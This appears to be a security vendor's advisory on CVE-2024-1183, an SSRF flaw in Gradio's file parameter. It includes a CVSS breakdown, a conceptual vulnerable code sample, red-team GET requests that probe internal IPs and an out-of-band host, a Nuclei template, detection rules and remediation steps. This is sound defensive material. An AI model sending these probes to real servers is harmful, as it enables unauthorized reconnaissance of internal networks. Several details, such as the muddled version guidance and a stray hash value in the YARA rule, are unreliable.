CVE-2024-1183

Executive Summary

CVE-2024-1183 is a Server-Side Request Forgery (SSRF) vulnerability in the gradio-app/gradio repository. An unauthenticated attacker can manipulate the file parameter in a GET request to scan and identify open ports within an internal network. The vulnerability allows an attacker to discern the status of internal ports based on the presence of a Location header or a File not allowed error in the response. This can lead to internal network reconnaissance and potentially facilitate further attacks. The vulnerability has a CVSS score of 6.5 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template.

Supply Chain & Package Security

This vulnerability affects the gradio Python package, which is distributed via PyPI. Organizations using Gradio in their applications or as a dependency should immediately assess their exposure and apply the recommended patches. The package is widely used for building machine learning demos and web UIs, making this a significant supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): Required (R) - The victim must interact with a malicious link or crafted request.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) - An attacker can gain information about internal network services.
• Integrity (I): None (N) - No data modification is possible.
• Availability (A): None (N) - No denial of service is possible.

Threat Level: Medium. While the CVSS score is 6.5, the potential for internal network reconnaissance and the availability of a public PoC elevate the risk. An attacker can map internal services, potentially leading to more severe attacks.

Deep Dive & Mechanics

The vulnerability resides in how Gradio handles the file parameter in GET requests. When a request is made to /file=http://attacker-controlled-domain, the application attempts to fetch the resource from the specified URL. If the target is an internal IP address and a specific port is open, the server may respond with a Location header redirecting to the resource. If the port is closed or the resource is not allowed, a File not allowed error is returned. This difference in response allows an attacker to perform port scanning on internal networks.

The core issue is that the application does not properly validate or sanitize the URL provided in the file parameter, allowing it to make requests to arbitrary internal hosts. This is a classic SSRF vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely directly passes the user-supplied file parameter to a URL fetching function without proper validation.

# Vulnerable example
import requests
from flask import request

@app.route('/file')
def get_file():
    file_url = request.args.get('file')
    response = requests.get(file_url)
    return response.content

Patched Code (Conceptual): The patched code should validate the URL against a whitelist of allowed domains or IP addresses, or at least block requests to private IP ranges.

# Patched example
import requests
from flask import request, abort
from urllib.parse import urlparse

ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']

@app.route('/file')
def get_file():
    file_url = request.args.get('file')
    parsed_url = urlparse(file_url)
    if parsed_url.hostname not in ALLOWED_DOMAINS:
        abort(403)
    response = requests.get(file_url)
    return response.content

Exploitation & Lab Setup

Red Team

Objective: Perform internal network port scanning using the SSRF vulnerability.

Setup:

1. Deploy a vulnerable Gradio instance (version < 3.33 or < 4.11).
2. Use a public or self-hosted listener (e.g., oast.pro, interact.sh, or a custom server) to detect outbound requests.

Exploitation Steps:

1. Send a crafted GET request to the vulnerable Gradio server:

   GET /file=http://oast.pro HTTP/1.1
   Host: vulnerable-gradio-server.com
   

2. Observe the response. If a Location header containing oast.pro is present, the SSRF is successful.
3. To scan internal ports, modify the URL to target internal IPs:

   GET /file=http://192.168.1.1:80 HTTP/1.1
   Host: vulnerable-gradio-server.com
   

4. Analyze the response:
   • Location header present: Port is open.
   • File not allowed error: Port is closed or filtered.

Nuclei Template (Provided):

id: CVE-2024-1183

info:
  name: Gradio - Server Side Request Forgery
  author: DhiyaneshDK
  severity: medium
  description: |
    An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.
  impact: |
    Unauthenticated attackers can perform SSRF attacks to scan and identify open ports within internal networks, potentially facilitating further attacks.
  remediation: |
    Upgrade Gradio to version 3.33 or later (for Gradio < 3.x) or version 4.11 or later (for Gradio 4.x).
  reference:
    - https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4
    - https://huntr.com/bounties/103434f9-87d2-42ea-9907-194a3c25007c
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-1183
    cwe-id: CWE-601
    epss-score: 0.55048
    epss-percentile: 0.98068
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"__gradio_mode__"
    product: gradio
    vendor: gradio_project
  tags: cve,cve2024,ssrf,oast,gradio,vuln

http:
  - raw:
      - |
        GET /file=http://oast.pro HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
        part: header

Blue Team

Objective: Detect and block SSRF attempts targeting internal networks.

Detection:

1. Monitor for GET requests to /file= with suspicious URLs (e.g., internal IPs, unusual domains).
2. Look for responses containing Location headers pointing to internal IPs or known SSRF testing domains (e.g., oast.pro, burpcollaborator.net).
3. Analyze server logs for outbound connections to unexpected destinations.

Mitigation:

1. Apply the patch by upgrading Gradio to version 3.33+ or 4.11+.
2. Implement network segmentation to restrict outbound traffic from the Gradio server.
3. Use a Web Application Firewall (WAF) to block requests with suspicious file parameters.
4. Validate and sanitize all user-supplied URLs before making requests.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) from the Gradio server.
  • Requests to known SSRF testing domains (e.g., oast.pro, interact.sh, burpcollaborator.net).
  • HTTP requests with a file parameter containing a full URL (e.g., /file=http://...).

• Host IOCs:

  • Unusual entries in the Gradio server's access logs showing GET /file=http://... requests.
  • Processes making outbound connections to unexpected destinations.

• File IOCs:

  • Log files containing patterns like Location: http:// or File not allowed in response to file parameter requests.

Detection Engineering

YARA Rule

rule CVE_2024_1183_Gradio_SSRF {
    meta:
        description = "Detects SSRF attempts against Gradio servers via file parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1183"
        hash = "4b0a00483046022100d7414f288eca4fcdfa5eaab3edd7c5e04dd72f7d1a917716a113f50787199139022100d8211dadc4a7a49d788c65ec650ad3d0a5e464635cb7c00be2b3dcc7ac52baa0"
    strings:
        $ssrf_pattern = "/file=http://" ascii wide nocase
        $internal_ip = /\/file=http:\/\/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/ ascii wide nocase
        $oast_domain = "oast.pro" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Gradio SSRF Attempt via File Parameter
id: 8c7a3b2e-1f4d-4a9e-8c6b-5d3e2f1a0b9c
status: experimental
description: Detects HTTP requests to Gradio servers with a file parameter containing a URL, indicating a potential SSRF attack.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1183
    - https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/file=http://'
    condition: selection
falsepositives:
    - Legitimate use of file fetching from allowed external domains (if configured)
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2024.1183

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-1183 Gradio SSRF Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/file=http://"; http_uri;
    pcre:"/\/file=http:\/\/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/Ri";
    reference:cve,2024-1183;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Patch: Upgrade Gradio to version 3.33 or later (for Gradio < 3.x) or version 4.11 or later (for Gradio 4.x). The fix is included in commit 2ad3d9e7ec6c8eeea59774265b44f11df7394bb4.
2. Network Segmentation: Ensure the Gradio server is in a segmented network with restricted outbound access to internal resources.
3. Input Validation: Implement strict validation of the file parameter to only allow requests to a whitelist of trusted domains or IP addresses.
4. Web Application Firewall (WAF): Deploy a WAF to block requests containing suspicious patterns in the file parameter.
5. Monitoring: Continuously monitor logs for SSRF attempts and investigate any outbound connections to internal IPs.
6. Least Privilege: Run the Gradio application with the least privileges necessary to reduce the impact of a successful exploit.

Valters IT - Securing Digital Frontiers

{/* [Security Hash: DAF76315C0CBF6EBCFA1F414] */}